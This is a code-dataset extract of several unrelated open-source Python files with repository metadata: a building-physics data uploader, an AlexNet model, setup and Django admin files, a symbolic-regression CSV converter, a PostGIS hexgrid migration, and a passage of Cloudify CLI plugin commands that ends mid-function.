__author__ = "Christian Kongsgaard" __license__ = 'MIT' # -------------------------------------------------------------------------------------------------------------------- # # IMPORTS # Modules import os import json # RiBuild Modules from delphin_6_automation.database_interactions import mongo_setup from delphin_6_automation.database_interactions.auth import auth_2d_1d as auth_dict from delphin_6_automation.database_interactions import weather_interactions from delphin_6_automation.database_interactions import delphin_interactions from delphin_6_automation.database_interactions import material_interactions from delphin_6_automation.database_interactions import sampling_interactions from delphin_6_automation.database_interactions.db_templates import sample_entry # -------------------------------------------------------------------------------------------------------------------- # # RIBuild server = mongo_setup.global_init(auth_dict) def upload_materials(folder): for file in os.listdir(folder): material_interactions.upload_material_file(f'{folder}/{file}') def upload_weather(folder): for file in os.listdir(folder): print(file) weather_interactions.upload_weather_to_db(os.path.join(folder, file)) def upload_strategy(folder): strategy = os.path.join(folder, 'sampling_strategy.json') with open(strategy) as file: data = json.load(file) sampling_interactions.upload_sampling_strategy(data) def upload_designs(folder): strategy = sample_entry.Strategy.objects().first() for file in os.listdir(folder): delphin_interactions.upload_design_file(os.path.join(folder, file), strategy.id) # upload_weather(r'C:\Users\ocni\OneDrive - Danmarks Tekniske Universitet\Shared WP6 DTU-SBiAAU\weather\WAC') # upload_materials(r'C:\Program Files\IBK\Delphin 6.0\resources\DB_materials') upload_strategy(r'C:\Users\ocni\OneDrive - Danmarks Tekniske Universitet\Shared WP6 DTU-SBiAAU\sampling_strategy') upload_designs(r'C:\Users\ocni\OneDrive - Danmarks Tekniske Universitet\Shared WP6 DTU-SBiAAU\designs') mongo_setup.global_end_ssh(server)

36.118644

120

0.714688

__author__ = "Christian Kongsgaard" __license__ = 'MIT' import os import json from delphin_6_automation.database_interactions import mongo_setup from delphin_6_automation.database_interactions.auth import auth_2d_1d as auth_dict from delphin_6_automation.database_interactions import weather_interactions from delphin_6_automation.database_interactions import delphin_interactions from delphin_6_automation.database_interactions import material_interactions from delphin_6_automation.database_interactions import sampling_interactions from delphin_6_automation.database_interactions.db_templates import sample_entry server = mongo_setup.global_init(auth_dict) def upload_materials(folder): for file in os.listdir(folder): material_interactions.upload_material_file(f'{folder}/{file}') def upload_weather(folder): for file in os.listdir(folder): print(file) weather_interactions.upload_weather_to_db(os.path.join(folder, file)) def upload_strategy(folder): strategy = os.path.join(folder, 'sampling_strategy.json') with open(strategy) as file: data = json.load(file) sampling_interactions.upload_sampling_strategy(data) def upload_designs(folder): strategy = sample_entry.Strategy.objects().first() for file in os.listdir(folder): delphin_interactions.upload_design_file(os.path.join(folder, file), strategy.id) upload_strategy(r'C:\Users\ocni\OneDrive - Danmarks Tekniske Universitet\Shared WP6 DTU-SBiAAU\sampling_strategy') upload_designs(r'C:\Users\ocni\OneDrive - Danmarks Tekniske Universitet\Shared WP6 DTU-SBiAAU\designs') mongo_setup.global_end_ssh(server)

true

1c4222c1e21b8471a57878aeb66220ab3d64daec

1,812

py

Python

code/models/AlexNet.py

ArvindSubramaniam/Pruning-Networks-using-Neuron2Neuron-Skip-Connections

bbe402bbf4c5afb4ae712354e8fca5ce320501b8

[ "Apache-2.0" ]

1

2021-11-16T03:36:51.000Z

code/models/AlexNet.py

ArvindSubramaniam/Pruning-Networks-using-Neuron2Neuron-Skip-Connections

bbe402bbf4c5afb4ae712354e8fca5ce320501b8

[ "Apache-2.0" ]

null

code/models/AlexNet.py

ArvindSubramaniam/Pruning-Networks-using-Neuron2Neuron-Skip-Connections

bbe402bbf4c5afb4ae712354e8fca5ce320501b8

[ "Apache-2.0" ]

3

2020-12-29T01:52:01.000Z

2021-11-16T03:36:52.000Z

import torch.nn as nn import torch.utils.model_zoo as model_zoo __all__ = ['AlexNet', 'alexnet'] model_urls = { 'alexnet': 'https://download.pytorch.org/models/alexnet-owt-4df8aa71.pth', } class AlexNet(nn.Module): def __init__(self, num_classes=10): super(AlexNet, self).__init__() self.features = nn.Sequential( nn.Conv2d(3, 64, kernel_size=3, stride=2, padding=1), nn.ReLU(inplace=True), nn.MaxPool2d(kernel_size=2), nn.Conv2d(64, 192, kernel_size=3, padding=1), nn.ReLU(inplace=True), nn.MaxPool2d(kernel_size=2), nn.Conv2d(192, 384, kernel_size=3, padding=1), nn.ReLU(inplace=True), nn.Conv2d(384, 256, kernel_size=3, padding=1), nn.ReLU(inplace=True), nn.Conv2d(256, 256, kernel_size=3, padding=1), nn.ReLU(inplace=True), nn.MaxPool2d(kernel_size=2), ) self.classifier = nn.Sequential( nn.Dropout(), nn.Linear(256 * 2 * 2, 4096), nn.ReLU(inplace=True), nn.Dropout(), nn.Linear(4096, 4096), nn.ReLU(inplace=True), nn.Linear(4096, num_classes), ) def forward(self, x): x = self.features(x) x = x.view(x.size(0), 256 * 2 * 2) x = self.classifier(x) #print(x.size()) return x ''' def alexnet(pretrained=False, **kwargs): r"""AlexNet model architecture from the `"One weird trick..." <https://arxiv.org/abs/1404.5997>`_ paper. Args: pretrained (bool): If True, returns a model pre-trained on ImageNet """ model = AlexNet(**kwargs) if pretrained: model.load_state_dict(model_zoo.load_url(model_urls['alexnet'])) return model '''

30.711864

78

0.571192

import torch.nn as nn import torch.utils.model_zoo as model_zoo __all__ = ['AlexNet', 'alexnet'] model_urls = { 'alexnet': 'https://download.pytorch.org/models/alexnet-owt-4df8aa71.pth', } class AlexNet(nn.Module): def __init__(self, num_classes=10): super(AlexNet, self).__init__() self.features = nn.Sequential( nn.Conv2d(3, 64, kernel_size=3, stride=2, padding=1), nn.ReLU(inplace=True), nn.MaxPool2d(kernel_size=2), nn.Conv2d(64, 192, kernel_size=3, padding=1), nn.ReLU(inplace=True), nn.MaxPool2d(kernel_size=2), nn.Conv2d(192, 384, kernel_size=3, padding=1), nn.ReLU(inplace=True), nn.Conv2d(384, 256, kernel_size=3, padding=1), nn.ReLU(inplace=True), nn.Conv2d(256, 256, kernel_size=3, padding=1), nn.ReLU(inplace=True), nn.MaxPool2d(kernel_size=2), ) self.classifier = nn.Sequential( nn.Dropout(), nn.Linear(256 * 2 * 2, 4096), nn.ReLU(inplace=True), nn.Dropout(), nn.Linear(4096, 4096), nn.ReLU(inplace=True), nn.Linear(4096, num_classes), ) def forward(self, x): x = self.features(x) x = x.view(x.size(0), 256 * 2 * 2) x = self.classifier(x) return x

true

1c42243bb54c2335aeb253f2b0b05b730467c11e

163

py

Python

setup.py

DixiGroup/fuel_flow

d869c417d0fded452409e6572d94b77317262326

[ "MIT" ]

null

setup.py

DixiGroup/fuel_flow

d869c417d0fded452409e6572d94b77317262326

[ "MIT" ]

null

setup.py

DixiGroup/fuel_flow

d869c417d0fded452409e6572d94b77317262326

[ "MIT" ]

null

from distutils.core import setup import py2exe setup(console=[{'script':'fuel_transform.py'}], options={"py2exe":{"includes":["xlrd", "xlsxwriter"]}})

27.166667

62

0.668712

from distutils.core import setup import py2exe setup(console=[{'script':'fuel_transform.py'}], options={"py2exe":{"includes":["xlrd", "xlsxwriter"]}})

true

1c42256fb3332783211a320c3ff901c2043853b1

112

py

Python

api/admin.py

vulture990/memo-App

8cbb63392682f57d29758dc8e842a4f1f8a4e9c3

[ "MIT" ]

null

api/admin.py

vulture990/memo-App

8cbb63392682f57d29758dc8e842a4f1f8a4e9c3

[ "MIT" ]

3

2020-06-05T18:14:29.000Z

2021-06-10T20:17:57.000Z

api/admin.py

vulture990/memo-App

8cbb63392682f57d29758dc8e842a4f1f8a4e9c3

[ "MIT" ]

null

from django.contrib import admin from .models import Note # Register your models here. admin.site.register(Note)

28

32

0.8125

from django.contrib import admin from .models import Note admin.site.register(Note)

true

1c4226e431d31b4206940f44ee3e0b27310391b5

2,196

py

Python

scripts/csv_handling/dataload_format_to_csv.py

samholt/NeuralSymbolicRegressionThatScales

da023e5a3fdf157ab60e56a966eeea0129366bfc

[ "MIT" ]

27

2021-06-17T07:31:55.000Z

2022-03-16T14:52:16.000Z

scripts/csv_handling/dataload_format_to_csv.py

samholt/NeuralSymbolicRegressionThatScales

da023e5a3fdf157ab60e56a966eeea0129366bfc

[ "MIT" ]

9

2021-07-05T12:58:42.000Z

2022-03-31T15:11:36.000Z

scripts/csv_handling/dataload_format_to_csv.py

samholt/NeuralSymbolicRegressionThatScales

da023e5a3fdf157ab60e56a966eeea0129366bfc

[ "MIT" ]

5

2021-06-26T19:07:43.000Z

2022-03-23T15:09:31.000Z

import pandas as pd import numpy as np import multiprocessing from multiprocessing import Manager import click import warnings from tqdm import tqdm import json import os from nesymres.dataset import generator import time import signal from pathlib import Path import pickle from sympy import lambdify from nesymres.utils import create_env, load_metadata_hdf5, load_eq from nesymres.dataset import data_utils import copyreg import types from itertools import chain import traceback import sympy as sp from nesymres.dataset.sympy_utils import add_multiplicative_constants, add_additive_constants import random import hydra from tqdm import tqdm def create_df(path,metadata,cfg, constats_on = False): rows = {"eq": [], "support": [], "num_points": []} for idx in tqdm(range(metadata.total_number_of_eqs)): eq = load_eq(path, idx, metadata.eqs_per_hdf) w_const, wout_consts = data_utils.sample_symbolic_constants(eq,cfg.dataset_test.constants) if constats_on: dict_const = w_const else: dict_const = wout_consts eq_string = eq.expr.format(**dict_const) eq_string = str(sp.simplify(eq_string)) d = {} if not eq.support: for var in eq.variables: d[var] = cfg.dataset_test.fun_support rows["eq"].append(str(eq_string)) rows["support"].append(str(d)) rows["num_points"].append(cfg.dataset_test.max_number_of_points) dataset = pd.DataFrame(rows) return dataset @hydra.main(config_name="../config") def converter(cfg): df = pd.DataFrame() path = hydra.utils.to_absolute_path(cfg.raw_test_path) metadata = load_metadata_hdf5(path) df = create_df(path,metadata,cfg,constats_on = False) df.to_csv(hydra.utils.to_absolute_path("test_set/test_nc.csv")) df = create_df(path,metadata,cfg,constats_on = True) df.to_csv(hydra.utils.to_absolute_path("test_set/test_wc.csv")) # dataset.to_csv(hydra.utils.to_absolute_path("test_set/test.csv")) # with open(hydra.utils.to_absolute_path("data/benchmark/test_csv"), "wb") as file: # pickle.dump(dataset, file) if __name__ == "__main__": converter()

32.776119

98

0.718124

import pandas as pd import numpy as np import multiprocessing from multiprocessing import Manager import click import warnings from tqdm import tqdm import json import os from nesymres.dataset import generator import time import signal from pathlib import Path import pickle from sympy import lambdify from nesymres.utils import create_env, load_metadata_hdf5, load_eq from nesymres.dataset import data_utils import copyreg import types from itertools import chain import traceback import sympy as sp from nesymres.dataset.sympy_utils import add_multiplicative_constants, add_additive_constants import random import hydra from tqdm import tqdm def create_df(path,metadata,cfg, constats_on = False): rows = {"eq": [], "support": [], "num_points": []} for idx in tqdm(range(metadata.total_number_of_eqs)): eq = load_eq(path, idx, metadata.eqs_per_hdf) w_const, wout_consts = data_utils.sample_symbolic_constants(eq,cfg.dataset_test.constants) if constats_on: dict_const = w_const else: dict_const = wout_consts eq_string = eq.expr.format(**dict_const) eq_string = str(sp.simplify(eq_string)) d = {} if not eq.support: for var in eq.variables: d[var] = cfg.dataset_test.fun_support rows["eq"].append(str(eq_string)) rows["support"].append(str(d)) rows["num_points"].append(cfg.dataset_test.max_number_of_points) dataset = pd.DataFrame(rows) return dataset @hydra.main(config_name="../config") def converter(cfg): df = pd.DataFrame() path = hydra.utils.to_absolute_path(cfg.raw_test_path) metadata = load_metadata_hdf5(path) df = create_df(path,metadata,cfg,constats_on = False) df.to_csv(hydra.utils.to_absolute_path("test_set/test_nc.csv")) df = create_df(path,metadata,cfg,constats_on = True) df.to_csv(hydra.utils.to_absolute_path("test_set/test_wc.csv")) if __name__ == "__main__": converter()

true

1c4227fd30ccc3e48c9226b868ed03f448567525

5,611

py

Python

src/django/api/migrations/0033_add_generate_hexgrid_function_20190909.py

azavea/open-apparel-registry

20f7a6d502d9152c85ee7f2696b25b6badf98924

[ "MIT" ]

32

2019-01-26T05:04:03.000Z

2022-03-11T15:09:09.000Z

src/django/api/migrations/0033_add_generate_hexgrid_function_20190909.py

azavea/open-apparel-registry

20f7a6d502d9152c85ee7f2696b25b6badf98924

[ "MIT" ]

1,586

2019-01-15T21:54:42.000Z

2022-03-31T17:38:14.000Z

src/django/api/migrations/0033_add_generate_hexgrid_function_20190909.py

Home-ac/Base0

04f03b8bf31146783c583df0871ab69fd6309a27

[ "MIT" ]

7

2019-02-28T03:32:46.000Z

2021-11-04T17:03:46.000Z

# Generated by Django 2.2.3 on 2019-09-09 21:11 from django.db import migrations # SOURCE: https://gist.github.com/mjumbewu/1761802ea06fb78c596f9cf8c9b2e769 create_generate_hexgrid = """ /* The default SRID is EPSG 3857 (web mercator -- https://epsg.io/3857). However you can use any SRID you want. All input parameters should be interpreted as coordinates and distances in whatever the SRID is set to. SRID 3857 units are [very approximately] meters, and using this projection will create hex cells that "look right" on a web map (most of which use a web mercator projection). If you have bounds in lat/lng degrees, you can convert those into web mercator. To use EPSG 4326 (geodetic latitude and longitude -- https://epsg.io/4326) degrees as the bounds, you can do the following: SELECT gid, ST_Transform(geom, 4326) AS geom FROM generate_hexgrid( -- Width of cell, in meters 8192, -- Minimum x and y ST_X(ST_Transform(ST_SetSRID(ST_GeomFromText('POINT(-75.60447692871092 39.782685009007075)'), 4326), 3857)), ST_Y(ST_Transform(ST_SetSRID(ST_GeomFromText('POINT(-75.60447692871092 39.782685009007075)'), 4326), 3857)), -- Maximum x and y ST_X(ST_Transform(ST_SetSRID(ST_GeomFromText('POINT(-74.78736877441406 40.159459579477925)'), 4326), 3857)), ST_Y(ST_Transform(ST_SetSRID(ST_GeomFromText('POINT(-74.78736877441406 40.159459579477925)'), 4326), 3857)), -- The input SRID, default 3857 3857 ); The geometry returned from this function also uses EPSG 3857 coordinates, or whatever the input SRID is, hence the use of an additional ST_Transform in the SELECT above. The gid should be unique for (and characteristic to) each cell. In other words, If you run this function twice with two distinct but overlapping bounding boxes using the same cell width, the cells that overlap should have the same gid. So, if you INSERT these cells into a table with a unique gid column, you should be able to ignore conflicts (ON CONFLICT DO NOTHING). Adapted from http://rexdouglass.com/spatial-hexagon-binning-in-postgis/ Snapping inspired by https://medium.com/@goldrydigital/hex-grid-algorithm-for-postgis-4ac45f61d093 */ CREATE OR REPLACE FUNCTION generate_hexgrid(width float, xmin float, ymin float, xmax float, ymax float, srid int default 3857) RETURNS TABLE( gid text, geom geometry(Polygon) ) AS $grid$ declare b float := width / 2; a float := tan(radians(30)) * b; -- tan(30) = 0.577350269 c float := 2 * a; -- NOTE: The height of one cell is (2a + c), or about 1.154700538 * width. -- however, for each row, we shift vertically by (2[a + c]) to properly -- tesselate the hexagons. Thus, to determine the number of rows needed, -- we use the latter formula as the height of a row. height float := 2 * (a + c); -- Snap the min/max coords to a global grid according to the cell width, so -- that we minimize the chances of generating misaligned grids for overlapping -- regions. index_xmin int := floor(xmin / width); index_ymin int := floor(ymin / height); index_xmax int := ceil(xmax / width); index_ymax int := ceil(ymax / height); snap_xmin float := index_xmin * width; snap_ymin float := index_ymin * height; snap_xmax float := index_xmax * width; snap_ymax float := index_ymax * height; -- Calculate the total number of columns and rows. Note that the number of -- rows is actually half the number of rows, since each vertical iteration -- accounts for two "rows". ncol int := abs(index_xmax - index_xmin); nrow int := abs(index_ymax - index_ymin); polygon_string varchar := 'POLYGON((' || 0 || ' ' || 0 || ' , ' || b || ' ' || a || ' , ' || b || ' ' || a + c || ' , ' || 0 || ' ' || a + c + a || ' , ' || -1 * b || ' ' || a + c || ' , ' || -1 * b || ' ' || a || ' , ' || 0 || ' ' || 0 || '))'; BEGIN RETURN QUERY SELECT -- gid is made of the global x index of the cell, the global y index of the -- cell, and the cell width. format('%s %s %s', width, x_offset + (1 * x_series + index_xmin), y_offset + (2 * y_series + index_ymin)), -- geom is transformed using the width and height of a series, and set to -- the SRID specified. ST_SetSRID(ST_Translate(two_hex.geom, x_series * width + snap_xmin, y_series * height + snap_ymin), srid) FROM generate_series(0, ncol, 1) AS x_series, generate_series(0, nrow, 1) AS y_series, -- two_hex is a pair of hex cells, one roughly below the other. Thus, both -- have an x_offset of 0, but the second has a y_offset of 1. ( -- Series cell #1 SELECT 0 AS x_offset, 0 AS y_offset, polygon_string::geometry AS geom UNION -- Series cell #2 SELECT 0 AS x_offset, 1 AS y_offset, ST_Translate(polygon_string::geometry, b , a + c) AS geom ) AS two_hex; END; $grid$ LANGUAGE plpgsql; """ drop_generate_hexgrid = "DROP FUNCTION generate_hexgrid;" class Migration(migrations.Migration): dependencies = [ ('api', '0032_add_tile_version_row'), ] operations = [ migrations.RunSQL(create_generate_hexgrid, drop_generate_hexgrid) ]

37.406667

127

0.629478

from django.db import migrations create_generate_hexgrid = """ /* The default SRID is EPSG 3857 (web mercator -- https://epsg.io/3857). However you can use any SRID you want. All input parameters should be interpreted as coordinates and distances in whatever the SRID is set to. SRID 3857 units are [very approximately] meters, and using this projection will create hex cells that "look right" on a web map (most of which use a web mercator projection). If you have bounds in lat/lng degrees, you can convert those into web mercator. To use EPSG 4326 (geodetic latitude and longitude -- https://epsg.io/4326) degrees as the bounds, you can do the following: SELECT gid, ST_Transform(geom, 4326) AS geom FROM generate_hexgrid( -- Width of cell, in meters 8192, -- Minimum x and y ST_X(ST_Transform(ST_SetSRID(ST_GeomFromText('POINT(-75.60447692871092 39.782685009007075)'), 4326), 3857)), ST_Y(ST_Transform(ST_SetSRID(ST_GeomFromText('POINT(-75.60447692871092 39.782685009007075)'), 4326), 3857)), -- Maximum x and y ST_X(ST_Transform(ST_SetSRID(ST_GeomFromText('POINT(-74.78736877441406 40.159459579477925)'), 4326), 3857)), ST_Y(ST_Transform(ST_SetSRID(ST_GeomFromText('POINT(-74.78736877441406 40.159459579477925)'), 4326), 3857)), -- The input SRID, default 3857 3857 ); The geometry returned from this function also uses EPSG 3857 coordinates, or whatever the input SRID is, hence the use of an additional ST_Transform in the SELECT above. The gid should be unique for (and characteristic to) each cell. In other words, If you run this function twice with two distinct but overlapping bounding boxes using the same cell width, the cells that overlap should have the same gid. So, if you INSERT these cells into a table with a unique gid column, you should be able to ignore conflicts (ON CONFLICT DO NOTHING). Adapted from http://rexdouglass.com/spatial-hexagon-binning-in-postgis/ Snapping inspired by https://medium.com/@goldrydigital/hex-grid-algorithm-for-postgis-4ac45f61d093 */ CREATE OR REPLACE FUNCTION generate_hexgrid(width float, xmin float, ymin float, xmax float, ymax float, srid int default 3857) RETURNS TABLE( gid text, geom geometry(Polygon) ) AS $grid$ declare b float := width / 2; a float := tan(radians(30)) * b; -- tan(30) = 0.577350269 c float := 2 * a; -- NOTE: The height of one cell is (2a + c), or about 1.154700538 * width. -- however, for each row, we shift vertically by (2[a + c]) to properly -- tesselate the hexagons. Thus, to determine the number of rows needed, -- we use the latter formula as the height of a row. height float := 2 * (a + c); -- Snap the min/max coords to a global grid according to the cell width, so -- that we minimize the chances of generating misaligned grids for overlapping -- regions. index_xmin int := floor(xmin / width); index_ymin int := floor(ymin / height); index_xmax int := ceil(xmax / width); index_ymax int := ceil(ymax / height); snap_xmin float := index_xmin * width; snap_ymin float := index_ymin * height; snap_xmax float := index_xmax * width; snap_ymax float := index_ymax * height; -- Calculate the total number of columns and rows. Note that the number of -- rows is actually half the number of rows, since each vertical iteration -- accounts for two "rows". ncol int := abs(index_xmax - index_xmin); nrow int := abs(index_ymax - index_ymin); polygon_string varchar := 'POLYGON((' || 0 || ' ' || 0 || ' , ' || b || ' ' || a || ' , ' || b || ' ' || a + c || ' , ' || 0 || ' ' || a + c + a || ' , ' || -1 * b || ' ' || a + c || ' , ' || -1 * b || ' ' || a || ' , ' || 0 || ' ' || 0 || '))'; BEGIN RETURN QUERY SELECT -- gid is made of the global x index of the cell, the global y index of the -- cell, and the cell width. format('%s %s %s', width, x_offset + (1 * x_series + index_xmin), y_offset + (2 * y_series + index_ymin)), -- geom is transformed using the width and height of a series, and set to -- the SRID specified. ST_SetSRID(ST_Translate(two_hex.geom, x_series * width + snap_xmin, y_series * height + snap_ymin), srid) FROM generate_series(0, ncol, 1) AS x_series, generate_series(0, nrow, 1) AS y_series, -- two_hex is a pair of hex cells, one roughly below the other. Thus, both -- have an x_offset of 0, but the second has a y_offset of 1. ( -- Series cell #1 SELECT 0 AS x_offset, 0 AS y_offset, polygon_string::geometry AS geom UNION -- Series cell #2 SELECT 0 AS x_offset, 1 AS y_offset, ST_Translate(polygon_string::geometry, b , a + c) AS geom ) AS two_hex; END; $grid$ LANGUAGE plpgsql; """ drop_generate_hexgrid = "DROP FUNCTION generate_hexgrid;" class Migration(migrations.Migration): dependencies = [ ('api', '0032_add_tile_version_row'), ] operations = [ migrations.RunSQL(create_generate_hexgrid, drop_generate_hexgrid) ]

true

1c42284aa5378a568fc95740857cb45663a7a7c1

15,896

py

Python

cloudify_cli/commands/plugins.py

TS-at-WS/cloudify-cli

598b54ecd67495a76678177f910cdc5eac6128d0

[ "Apache-2.0" ]

null

cloudify_cli/commands/plugins.py

TS-at-WS/cloudify-cli

598b54ecd67495a76678177f910cdc5eac6128d0

[ "Apache-2.0" ]

10

2020-08-02T07:45:42.000Z

2021-06-11T01:03:45.000Z

cloudify_cli/commands/plugins.py

TS-at-WS/cloudify-cli

598b54ecd67495a76678177f910cdc5eac6128d0

[ "Apache-2.0" ]

null

######## # Copyright (c) 2018 Cloudify Platform Ltd. All rights reserved # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. ############ import os import wagon from cloudify_cli import execution_events_fetcher from cloudify_cli.logger import get_events_logger from cloudify_cli.exceptions import SuppressedCloudifyCliError from cloudify_rest_client.constants import VISIBILITY_EXCEPT_PRIVATE from .. import utils from ..table import print_data, print_single from ..cli import helptexts, cfy from ..utils import (prettify_client_error, get_visibility, validate_visibility) PLUGIN_COLUMNS = ['id', 'package_name', 'package_version', 'distribution', 'supported_platform', 'distribution_release', 'uploaded_at', 'visibility', 'tenant_name', 'created_by', 'yaml_url_path'] PLUGINS_UPDATE_COLUMNS = ['id', 'state', 'blueprint_id', 'temp_blueprint_id', 'execution_id', 'deployments_to_update', 'visibility', 'created_at', 'forced'] GET_DATA_COLUMNS = ['file_server_path'] EXCLUDED_COLUMNS = ['archive_name', 'distribution_version', 'excluded_wheels', 'package_source', 'supported_py_versions', 'wheels'] @cfy.group(name='plugins') @cfy.options.common_options def plugins(): """Handle plugins on the manager """ pass @plugins.command(name='validate', short_help='Validate a plugin') @cfy.argument('plugin-path') @cfy.options.common_options @cfy.pass_logger def validate(plugin_path, logger): """Validate a plugin This will try to validate the plugin's archive is not corrupted. A valid plugin is a wagon (http://github.com/cloudify-cosomo/wagon) in the tar.gz format. `PLUGIN_PATH` is the path to wagon archive to validate. """ logger.info('Validating plugin {0}...'.format(plugin_path)) wagon.validate(plugin_path) logger.info('Plugin validated successfully') @plugins.command(name='delete', short_help='Delete a plugin [manager only]') @cfy.argument('plugin-id') @cfy.options.force(help=helptexts.FORCE_DELETE_PLUGIN) @cfy.options.common_options @cfy.options.tenant_name(required=False, resource_name_for_help='plugin') @cfy.assert_manager_active() @cfy.pass_client() @cfy.pass_logger def delete(plugin_id, force, logger, client, tenant_name): """Delete a plugin from the manager `PLUGIN_ID` is the id of the plugin to delete. """ utils.explicit_tenant_name_message(tenant_name, logger) logger.info('Deleting plugin {0}...'.format(plugin_id)) client.plugins.delete(plugin_id=plugin_id, force=force) logger.info('Plugin deleted') @plugins.command(name='upload', short_help='Upload a plugin [manager only]') @cfy.argument('plugin-path') @cfy.options.plugin_yaml_path() @cfy.options.private_resource @cfy.options.visibility() @cfy.options.common_options @cfy.options.tenant_name(required=False, resource_name_for_help='plugin') @cfy.pass_context @cfy.assert_manager_active() @cfy.pass_client() @cfy.pass_logger def upload(ctx, plugin_path, yaml_path, private_resource, visibility, logger, client, tenant_name): """Upload a plugin to the manager `PLUGIN_PATH` is the path to wagon archive to upload. """ # Test whether the path is a valid URL. If it is, no point in doing local # validations - it will be validated on the server side anyway utils.explicit_tenant_name_message(tenant_name, logger) logger.info('Creating plugin zip archive..') wagon_path = utils.get_local_path(plugin_path, create_temp=True) yaml_path = utils.get_local_path(yaml_path, create_temp=True) zip_path = utils.zip_files([wagon_path, yaml_path]) progress_handler = utils.generate_progress_handler(zip_path, '') visibility = get_visibility(private_resource, visibility, logger) logger.info('Uploading plugin archive (wagon + yaml)..') try: plugin = client.plugins.upload(zip_path, visibility, progress_handler) logger.info("Plugin uploaded. Plugin's id is {0}".format(plugin.id)) finally: os.remove(wagon_path) os.remove(yaml_path) os.remove(zip_path) @plugins.command(name='bundle-upload', short_help='Upload a bundle of plugins [manager only]') @cfy.options.plugins_bundle_path @cfy.pass_client() @cfy.pass_logger def upload_caravan(client, logger, path): if not path: logger.info("Starting upload of plugins bundle, " "this may take few minutes to complete.") path = 'http://repository.cloudifysource.org/' \ 'cloudify/wagons/cloudify-plugins-bundle.tgz' progress = utils.generate_progress_handler(path, '') plugins_ = client.plugins.upload(path, progress_callback=progress) logger.info("Bundle uploaded, {0} Plugins installed." .format(len(plugins_))) if len(plugins_) > 0: logger.info("The plugins' ids are:\n{0}\n". format('\n'.join([p.id for p in plugins_]))) @plugins.command(name='download', short_help='Download a plugin [manager only]') @cfy.argument('plugin-id') @cfy.options.output_path @cfy.options.common_options @cfy.options.tenant_name(required=False, resource_name_for_help='plugin') @cfy.pass_logger @cfy.pass_client() def download(plugin_id, output_path, logger, client, tenant_name): """Download a plugin from the manager `PLUGIN_ID` is the id of the plugin to download. """ utils.explicit_tenant_name_message(tenant_name, logger) logger.info('Downloading plugin {0}...'.format(plugin_id)) plugin_name = output_path if output_path else plugin_id progress_handler = utils.generate_progress_handler(plugin_name, '') target_file = client.plugins.download(plugin_id, output_path, progress_handler) logger.info('Plugin downloaded as {0}'.format(target_file)) @plugins.command(name='get', short_help='Retrieve plugin information [manager only]') @cfy.argument('plugin-id') @cfy.options.common_options @cfy.options.get_data @cfy.options.tenant_name(required=False, resource_name_for_help='plugin') @cfy.assert_manager_active() @cfy.pass_client() @cfy.pass_logger def get(plugin_id, logger, client, tenant_name, get_data): """Retrieve information for a specific plugin `PLUGIN_ID` is the id of the plugin to get information on. """ utils.explicit_tenant_name_message(tenant_name, logger) logger.info('Retrieving plugin {0}...'.format(plugin_id)) plugin = client.plugins.get(plugin_id, _get_data=get_data) _transform_plugin_response(plugin) columns = PLUGIN_COLUMNS + GET_DATA_COLUMNS if get_data else PLUGIN_COLUMNS print_single(columns, plugin, 'Plugin:') @plugins.command(name='list', short_help='List plugins [manager only]') @cfy.options.sort_by('uploaded_at') @cfy.options.descending @cfy.options.tenant_name_for_list( required=False, resource_name_for_help='plugin') @cfy.options.all_tenants @cfy.options.search @cfy.options.common_options @cfy.options.get_data @cfy.options.pagination_offset @cfy.options.pagination_size @cfy.assert_manager_active() @cfy.pass_client() @cfy.pass_logger def list(sort_by, descending, tenant_name, all_tenants, search, pagination_offset, pagination_size, logger, client, get_data): """List all plugins on the manager """ utils.explicit_tenant_name_message(tenant_name, logger) logger.info('Listing all plugins...') plugins_list = client.plugins.list(sort=sort_by, is_descending=descending, _all_tenants=all_tenants, _search=search, _get_data=get_data, _offset=pagination_offset, _size=pagination_size) for plugin in plugins_list: _transform_plugin_response(plugin) columns = PLUGIN_COLUMNS + GET_DATA_COLUMNS if get_data else PLUGIN_COLUMNS print_data(columns, plugins_list, 'Plugins:') total = plugins_list.metadata.pagination.total logger.info('Showing {0} of {1} plugins'.format(len(plugins_list), total)) def _transform_plugin_response(plugin): """Remove any columns that shouldn't be displayed in the CLI """ for column in EXCLUDED_COLUMNS: plugin.pop(column, None) @plugins.command(name='set-global', short_help="Set the plugin's visibility to global") @cfy.argument('plugin-id') @cfy.options.common_options @cfy.assert_manager_active() @cfy.pass_client(use_tenant_in_header=True) @cfy.pass_logger def set_global(plugin_id, logger, client): """Set the plugin's visibility to global `PLUGIN_ID` is the id of the plugin to set global """ status_codes = [400, 403, 404] with prettify_client_error(status_codes, logger): client.plugins.set_global(plugin_id) logger.info('Plugin `{0}` was set to global'.format(plugin_id)) logger.info("This command will be deprecated soon, please use the " "'set-visibility' command instead") @plugins.command(name='set-visibility', short_help="Set the plugin's visibility") @cfy.argument('plugin-id') @cfy.options.visibility(required=True, valid_values=VISIBILITY_EXCEPT_PRIVATE) @cfy.options.common_options @cfy.assert_manager_active() @cfy.pass_client(use_tenant_in_header=True) @cfy.pass_logger def set_visibility(plugin_id, visibility, logger, client): """Set the plugin's visibility `PLUGIN_ID` is the id of the plugin to update """ validate_visibility(visibility, valid_values=VISIBILITY_EXCEPT_PRIVATE) status_codes = [400, 403, 404] with prettify_client_error(status_codes, logger): client.plugins.set_visibility(plugin_id, visibility) logger.info('Plugin `{0}` was set to {1}'.format(plugin_id, visibility)) @plugins.command(name='update', short_help='Update the plugins of all the deployments of ' 'the blueprint [manager only]') @cfy.argument('blueprint-id') @cfy.options.common_options @cfy.options.tenant_name(required=False, resource_name_for_help='plugin') @cfy.assert_manager_active() @cfy.options.include_logs @cfy.options.json_output @cfy.pass_logger @cfy.pass_client() @cfy.options.force(help=helptexts.FORCE_PLUGINS_UPDATE) def update(blueprint_id, include_logs, json_output, logger, client, tenant_name, force): """Update the plugins of all the deployments of the given blueprint. This will update the deployments one by one until all succeeded. `BLUEPRINT_ID` the blueprint's ID to perform the plugins update with. """ utils.explicit_tenant_name_message(tenant_name, logger) logger.info('Updating the plugins of the deployments of the blueprint ' '{}'.format(blueprint_id)) plugins_update = client.plugins_update.update_plugins(blueprint_id, force) events_logger = get_events_logger(json_output) execution = execution_events_fetcher.wait_for_execution( client, client.executions.get(plugins_update.execution_id), events_handler=events_logger, include_logs=include_logs, timeout=None # don't timeout ever 